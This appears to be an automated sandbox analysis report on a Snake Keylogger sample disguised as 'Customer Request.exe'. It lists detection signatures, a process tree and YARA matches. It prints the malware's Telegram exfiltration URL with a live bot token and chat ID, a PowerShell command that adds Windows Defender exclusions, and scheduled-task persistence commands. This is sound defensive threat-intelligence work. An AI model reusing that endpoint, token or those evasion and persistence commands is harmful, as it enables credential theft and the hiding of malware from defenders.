Edit tour

Windows Analysis Report
Customer Request.exe

Overview

General Information

Sample name:	Customer Request.exe
Analysis ID:	1619174
MD5:	af70a8bace079f5eb7762fbbec4772ab
SHA1:	ae3530a619d587110da7beb2b1511ad3dc44a325
SHA256:	a69b613b4c99988b72e10c917489d5a7006b53abc75f7706b578e8b27f3252ab
Tags:	exeuser-threatcat_ch
Infos:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

.NET source code contains potential unpacker

.NET source code contains very large strings

Adds a directory exclusion to Windows Defender

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Moves itself to temp directory

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Customer Request.exe (PID: 5944 cmdline: "C:\Users\user\Desktop\Customer Request.exe" MD5: AF70A8BACE079F5EB7762FBBEC4772AB)

powershell.exe (PID: 4640 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Customer Request.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4920 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gCFuOglEso.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7184 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 6768 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmpBA61.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Customer Request.exe (PID: 2384 cmdline: "C:\Users\user\Desktop\Customer Request.exe" MD5: AF70A8BACE079F5EB7762FBBEC4772AB)

Customer Request.exe (PID: 5932 cmdline: "C:\Users\user\Desktop\Customer Request.exe" MD5: AF70A8BACE079F5EB7762FBBEC4772AB)

gCFuOglEso.exe (PID: 4500 cmdline: C:\Users\user\AppData\Roaming\gCFuOglEso.exe MD5: AF70A8BACE079F5EB7762FBBEC4772AB)

schtasks.exe (PID: 7344 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmp91E1.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

gCFuOglEso.exe (PID: 7388 cmdline: "C:\Users\user\AppData\Roaming\gCFuOglEso.exe" MD5: AF70A8BACE079F5EB7762FBBEC4772AB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendMessage"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendMessage?chat_id=5007084465", "Token": "7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM", "Chat_id": "5007084465", "Version": "5.1"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
sslproxydump.pcap	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xeee7:$m3: SnakePW 0xf455:$m3: SnakePW 0x10a60:$m3: SnakePW 0xc7f34:$m3: SnakePW 0x11171:$m4: \SnakeKeylogger\ 0xc8e7b:$m4: \SnakeKeylogger\ 0x180628:$m4: \SnakeKeylogger\ 0x237df2:$m4: \SnakeKeylogger\ 0x2ef5b7:$m4: \SnakeKeylogger\ 0x3a6d8c:$m4: \SnakeKeylogger\ 0x45e544:$m4: \SnakeKeylogger\ 0x5154cd:$m4: \SnakeKeylogger\ 0x5cd4d1:$m4: \SnakeKeylogger\ 0x68445a:$m4: \SnakeKeylogger\ 0x73c46a:$m4: \SnakeKeylogger\ 0x7f33f3:$m4: \SnakeKeylogger\ 0x8ab3f2:$m4: \SnakeKeylogger\ 0x96237b:$m4: \SnakeKeylogger\ 0xa19b4b:$m4: \SnakeKeylogger\ 0xad1b4a:$m4: \SnakeKeylogger\ 0xb90c70:$m4: \SnakeKeylogger\

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000002.2710969497.0000000003198000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.2704835617.0000000000AF7000.00000004.00000010.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.2710539876.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.2710539876.0000000002B2A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.2710539876.0000000002AEE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.2710539876.0000000002AEE000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x47c6:$m2: Clipboard Logs ID 0x593e:$m2: Screenshot Logs ID 0x49ac:$m4: \SnakeKeylogger\ 0x4a9e:$m4: \SnakeKeylogger\
0000000F.00000002.2745993906.0000000006FD5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.2710539876.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.2710539876.0000000002CF3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.2710539876.0000000002CF3000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x25ca:$m2: Clipboard Logs ID 0x655e:$m2: Screenshot Logs ID 0x27b0:$m4: \SnakeKeylogger\ 0x40fa:$m4: \SnakeKeylogger\ 0x63a6:$m4: \SnakeKeylogger\ 0x646e:$m4: \SnakeKeylogger\ 0x66b6:$m4: \SnakeKeylogger\
0000000F.00000002.2717613443.000000000449A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.2704268195.0000000000418000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2704268195.0000000000418000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.2704268195.0000000000418000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x3a18:$x1: $%SMTPDV$ 0x23d4:$x2: $#TheHashHere%& 0x39c0:$x3: %FTPDV$ 0x2374:$x4: $%TelegramDv$ 0x39e4:$m2: Clipboard Logs ID 0x3c22:$m2: Screenshot Logs ID 0x3d32:$m2: keystroke Logs ID 0x400c:$m3: SnakePW 0x3bfa:$m4: \SnakeKeylogger\
0000000F.00000002.2741223606.00000000062EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.2710539876.0000000002ABB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2710539876.0000000002ABB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000A.00000002.2710969497.000000000312F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2710969497.000000000312F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.2710539876.0000000002CBF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000F.00000002.2710539876.0000000002CBF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.2710539876.0000000002A01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.2710539876.0000000002BDA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000A.00000002.2746777636.0000000007445000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.2741223606.00000000062C3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1490920950.000000000457D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1490920950.000000000457D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1490920950.000000000457D000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14e26:$a1: get_encryptedPassword 0x35a46:$a1: get_encryptedPassword 0x56466:$a1: get_encryptedPassword 0x15112:$a2: get_encryptedUsername 0x35d32:$a2: get_encryptedUsername 0x56752:$a2: get_encryptedUsername 0x14c22:$a3: get_timePasswordChanged 0x35842:$a3: get_timePasswordChanged 0x56262:$a3: get_timePasswordChanged 0x14d1d:$a4: get_passwordField 0x3593d:$a4: get_passwordField 0x5635d:$a4: get_passwordField 0x14e3c:$a5: set_encryptedPassword 0x35a5c:$a5: set_encryptedPassword 0x5647c:$a5: set_encryptedPassword 0x1648e:$a7: get_logins 0x370ae:$a7: get_logins 0x57ace:$a7: get_logins 0x163f1:$a10: KeyLoggerEventArgs 0x37011:$a10: KeyLoggerEventArgs 0x57a31:$a10: KeyLoggerEventArgs
00000000.00000002.1490920950.000000000457D000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x19e48:$x1: $%SMTPDV$ 0x3aa68:$x1: $%SMTPDV$ 0x5b488:$x1: $%SMTPDV$ 0x18804:$x2: $#TheHashHere%& 0x39424:$x2: $#TheHashHere%& 0x59e44:$x2: $#TheHashHere%& 0x19df0:$x3: %FTPDV$ 0x3aa10:$x3: %FTPDV$ 0x5b430:$x3: %FTPDV$ 0x187a4:$x4: $%TelegramDv$ 0x393c4:$x4: $%TelegramDv$ 0x59de4:$x4: $%TelegramDv$ 0x1605c:$x5: KeyLoggerEventArgs 0x163f1:$x5: KeyLoggerEventArgs 0x36c7c:$x5: KeyLoggerEventArgs 0x37011:$x5: KeyLoggerEventArgs 0x5769c:$x5: KeyLoggerEventArgs 0x57a31:$x5: KeyLoggerEventArgs 0x19e14:$m2: Clipboard Logs ID 0x1a052:$m2: Screenshot Logs ID 0x1a162:$m2: keystroke Logs ID
0000000F.00000002.2710539876.0000000002C59000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.2710539876.0000000002BF9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000A.00000002.2710969497.0000000003152000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000A.00000002.2710969497.0000000003152000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x412a:$m2: Clipboard Logs ID 0x58b2:$m2: keystroke Logs ID 0x5a5a:$m2: Screenshot Logs ID 0x4830:$m4: \SnakeKeylogger\ 0x64de:$m4: \SnakeKeylogger\
0000000A.00000002.2710969497.0000000003081000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000A.00000002.2717700479.000000000411B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000A.00000002.2741655848.0000000006798000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000B.00000002.1521631813.0000000003E49000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.1521631813.0000000003E49000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000B.00000002.1521631813.0000000003E49000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x158be:$a1: get_encryptedPassword 0x364de:$a1: get_encryptedPassword 0x56efe:$a1: get_encryptedPassword 0x15baa:$a2: get_encryptedUsername 0x367ca:$a2: get_encryptedUsername 0x571ea:$a2: get_encryptedUsername 0x156ba:$a3: get_timePasswordChanged 0x362da:$a3: get_timePasswordChanged 0x56cfa:$a3: get_timePasswordChanged 0x157b5:$a4: get_passwordField 0x363d5:$a4: get_passwordField 0x56df5:$a4: get_passwordField 0x158d4:$a5: set_encryptedPassword 0x364f4:$a5: set_encryptedPassword 0x56f14:$a5: set_encryptedPassword 0x16f26:$a7: get_logins 0x37b46:$a7: get_logins 0x58566:$a7: get_logins 0x16e89:$a10: KeyLoggerEventArgs 0x37aa9:$a10: KeyLoggerEventArgs 0x584c9:$a10: KeyLoggerEventArgs
0000000B.00000002.1521631813.0000000003E49000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1a8e0:$x1: $%SMTPDV$ 0x3b500:$x1: $%SMTPDV$ 0x5bf20:$x1: $%SMTPDV$ 0x1929c:$x2: $#TheHashHere%& 0x39ebc:$x2: $#TheHashHere%& 0x5a8dc:$x2: $#TheHashHere%& 0x1a888:$x3: %FTPDV$ 0x3b4a8:$x3: %FTPDV$ 0x5bec8:$x3: %FTPDV$ 0x1923c:$x4: $%TelegramDv$ 0x39e5c:$x4: $%TelegramDv$ 0x5a87c:$x4: $%TelegramDv$ 0x16af4:$x5: KeyLoggerEventArgs 0x16e89:$x5: KeyLoggerEventArgs 0x37714:$x5: KeyLoggerEventArgs 0x37aa9:$x5: KeyLoggerEventArgs 0x58134:$x5: KeyLoggerEventArgs 0x584c9:$x5: KeyLoggerEventArgs 0x1a8ac:$m2: Clipboard Logs ID 0x1aaea:$m2: Screenshot Logs ID 0x1abfa:$m2: keystroke Logs ID
0000000A.00000002.2717700479.0000000004540000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.2717613443.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: Customer Request.exe PID: 5944	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Customer Request.exe PID: 5944	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: Customer Request.exe PID: 5944	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x430c5:$a1: get_encryptedPassword 0x433a7:$a2: get_encryptedUsername 0x42ecb:$a3: get_timePasswordChanged 0x42fc6:$a4: get_passwordField 0x430db:$a5: set_encryptedPassword 0x455d5:$a7: get_logins 0x45538:$a10: KeyLoggerEventArgs 0x451a3:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: Customer Request.exe PID: 5944	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x451a3:$x5: KeyLoggerEventArgs 0x45538:$x5: KeyLoggerEventArgs 0x45e3f:$x5: KeyLoggerEventArgs 0x461a0:$x5: KeyLoggerEventArgs 0x4779e:$m2: Clipboard Logs ID 0x478a4:$m2: Screenshot Logs ID 0x478fa:$m2: keystroke Logs ID 0x47a2f:$m3: SnakePW 0x47890:$m4: \SnakeKeylogger\
Process Memory Space: Customer Request.exe PID: 5932	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Customer Request.exe PID: 5932	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Customer Request.exe PID: 5932	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: Customer Request.exe PID: 5932	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x29046:$x5: KeyLoggerEventArgs 0x293db:$x5: KeyLoggerEventArgs 0x297db:$x5: KeyLoggerEventArgs 0x29b3c:$x5: KeyLoggerEventArgs 0x589c0:$m2: Clipboard Logs ID 0x58ea9:$m2: keystroke Logs ID 0x58efb:$m2: Screenshot Logs ID 0x393fb:$m3: SnakePW 0x2856:$m4: \SnakeKeylogger\ 0xffa1:$m4: \SnakeKeylogger\ 0x1bfa5:$m4: \SnakeKeylogger\ 0x4e3c8:$m4: \SnakeKeylogger\ 0x4e400:$m4: \SnakeKeylogger\ 0x4e43d:$m4: \SnakeKeylogger\ 0x4e479:$m4: \SnakeKeylogger\ 0x4e4b5:$m4: \SnakeKeylogger\ 0x4e4f1:$m4: \SnakeKeylogger\ 0x4e52d:$m4: \SnakeKeylogger\ 0x54233:$m4: \SnakeKeylogger\ 0x54318:$m4: \SnakeKeylogger\ 0x5444b:$m4: \SnakeKeylogger\
Process Memory Space: gCFuOglEso.exe PID: 4500	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: gCFuOglEso.exe PID: 4500	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: gCFuOglEso.exe PID: 4500	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: gCFuOglEso.exe PID: 4500	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3b0a4:$a1: get_encryptedPassword 0x3b386:$a2: get_encryptedUsername 0x3aeaa:$a3: get_timePasswordChanged 0x3afa5:$a4: get_passwordField 0x3b0ba:$a5: set_encryptedPassword 0x3d5b4:$a7: get_logins 0x3d517:$a10: KeyLoggerEventArgs 0x3d182:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: gCFuOglEso.exe PID: 4500	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x3d182:$x5: KeyLoggerEventArgs 0x3d517:$x5: KeyLoggerEventArgs 0x3de1e:$x5: KeyLoggerEventArgs 0x3e17f:$x5: KeyLoggerEventArgs 0x3f77d:$m2: Clipboard Logs ID 0x3f883:$m2: Screenshot Logs ID 0x3f8d9:$m2: keystroke Logs ID 0x3fa0e:$m3: SnakePW 0x3f86f:$m4: \SnakeKeylogger\
Process Memory Space: gCFuOglEso.exe PID: 7388	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: gCFuOglEso.exe PID: 7388	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: gCFuOglEso.exe PID: 7388	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: gCFuOglEso.exe PID: 7388	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x2a5e:$m2: keystroke Logs ID 0x14a6e:$m2: Clipboard Logs ID 0x14e65:$m2: Screenshot Logs ID 0x2c815:$m2: Clipboard Logs ID 0x2ce87:$m2: Screenshot Logs ID 0x6046f:$m2: Clipboard Logs ID 0x60575:$m2: Screenshot Logs ID 0x605cb:$m2: keystroke Logs ID 0x60700:$m3: SnakePW 0x6c050:$m3: SnakePW 0x6e883:$m3: SnakePW 0x70a66:$m3: SnakePW 0x7110f:$m3: SnakePW 0x7a51a:$m3: SnakePW 0x7a70a:$m3: SnakePW 0x7a8fc:$m3: SnakePW 0x7aade:$m3: SnakePW 0x7acca:$m3: SnakePW 0x7f992:$m3: SnakePW 0x109be:$m4: \SnakeKeylogger\ 0x109ea:$m4: \SnakeKeylogger\
Click to see the 54 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.2.Customer Request.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x157db:$s1: UnHook 0x157e2:$s2: SetHook 0x157ea:$s3: CallNextHook 0x157f7:$s4: _hook
11.2.gCFuOglEso.exe.3e6a8e8.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.gCFuOglEso.exe.3e6a8e8.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
11.2.gCFuOglEso.exe.3e6a8e8.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12df6:$a1: get_encryptedPassword 0x130e2:$a2: get_encryptedUsername 0x12bf2:$a3: get_timePasswordChanged 0x12ced:$a4: get_passwordField 0x12e0c:$a5: set_encryptedPassword 0x1445e:$a7: get_logins 0x143c1:$a10: KeyLoggerEventArgs 0x1402c:$a11: KeyLoggerEventArgsEventHandler
11.2.gCFuOglEso.exe.3e6a8e8.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a8bc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19aee:$a3: \Google\Chrome\User Data\Default\Login Data 0x19f21:$a4: \Orbitum\User Data\Default\Login Data 0x1af60:$a5: \Kometa\User Data\Default\Login Data
11.2.gCFuOglEso.exe.3e6a8e8.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x139db:$s1: UnHook 0x139e2:$s2: SetHook 0x139ea:$s3: CallNextHook 0x139f7:$s4: _hook
11.2.gCFuOglEso.exe.3e6a8e8.0.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x17e18:$x1: $%SMTPDV$ 0x167d4:$x2: $#TheHashHere%& 0x17dc0:$x3: %FTPDV$ 0x16774:$x4: $%TelegramDv$ 0x1402c:$x5: KeyLoggerEventArgs 0x143c1:$x5: KeyLoggerEventArgs 0x17de4:$m2: Clipboard Logs ID 0x18022:$m2: Screenshot Logs ID 0x18132:$m2: keystroke Logs ID 0x1840c:$m3: SnakePW 0x17ffa:$m4: \SnakeKeylogger\
0.2.Customer Request.exe.457d230.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Customer Request.exe.457d230.1.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.Customer Request.exe.457d230.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12df6:$a1: get_encryptedPassword 0x130e2:$a2: get_encryptedUsername 0x12bf2:$a3: get_timePasswordChanged 0x12ced:$a4: get_passwordField 0x12e0c:$a5: set_encryptedPassword 0x1445e:$a7: get_logins 0x143c1:$a10: KeyLoggerEventArgs 0x1402c:$a11: KeyLoggerEventArgsEventHandler
0.2.Customer Request.exe.457d230.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a8bc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19aee:$a3: \Google\Chrome\User Data\Default\Login Data 0x19f21:$a4: \Orbitum\User Data\Default\Login Data 0x1af60:$a5: \Kometa\User Data\Default\Login Data
0.2.Customer Request.exe.457d230.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x139db:$s1: UnHook 0x139e2:$s2: SetHook 0x139ea:$s3: CallNextHook 0x139f7:$s4: _hook
0.2.Customer Request.exe.457d230.1.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x17e18:$x1: $%SMTPDV$ 0x167d4:$x2: $#TheHashHere%& 0x17dc0:$x3: %FTPDV$ 0x16774:$x4: $%TelegramDv$ 0x1402c:$x5: KeyLoggerEventArgs 0x143c1:$x5: KeyLoggerEventArgs 0x17de4:$m2: Clipboard Logs ID 0x18022:$m2: Screenshot Logs ID 0x18132:$m2: keystroke Logs ID 0x1840c:$m3: SnakePW 0x17ffa:$m4: \SnakeKeylogger\
0.2.Customer Request.exe.459de50.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Customer Request.exe.459de50.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.Customer Request.exe.459de50.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12df6:$a1: get_encryptedPassword 0x130e2:$a2: get_encryptedUsername 0x12bf2:$a3: get_timePasswordChanged 0x12ced:$a4: get_passwordField 0x12e0c:$a5: set_encryptedPassword 0x1445e:$a7: get_logins 0x143c1:$a10: KeyLoggerEventArgs 0x1402c:$a11: KeyLoggerEventArgsEventHandler
0.2.Customer Request.exe.459de50.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a8bc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19aee:$a3: \Google\Chrome\User Data\Default\Login Data 0x19f21:$a4: \Orbitum\User Data\Default\Login Data 0x1af60:$a5: \Kometa\User Data\Default\Login Data
0.2.Customer Request.exe.459de50.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x139db:$s1: UnHook 0x139e2:$s2: SetHook 0x139ea:$s3: CallNextHook 0x139f7:$s4: _hook
